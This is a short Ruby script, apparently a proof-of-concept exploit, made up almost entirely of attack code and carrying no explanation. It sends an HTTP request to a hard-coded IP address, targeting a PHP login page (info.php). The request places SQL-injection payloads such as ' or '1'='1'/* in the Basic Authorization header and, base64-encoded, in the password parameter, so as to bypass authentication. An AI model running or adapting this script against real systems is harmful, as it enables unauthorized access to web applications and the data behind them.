require 'socket' require 'cgi' def httprq rq pass = "1'='1' or '1'='1' or '1" TCPSocket.open('193.168.50.81', 80) { |s| s.puts "GET #{rq} HTTP/1.0\r\n" << "Authorization: Basic #{[pass].pack('m').chomp}\r\n" << "Host: 193.168.50.81\r\n" << "\r\n" s.read } end def h4x pass rq = "/info.php?nom=abc&pwd=#{CGI.escape [pass].pack('m').chomp}&submit=Login&pseudo=jj&email=john@ofjj.net" httprq rq end puts h4x("' or '1'='1'/*")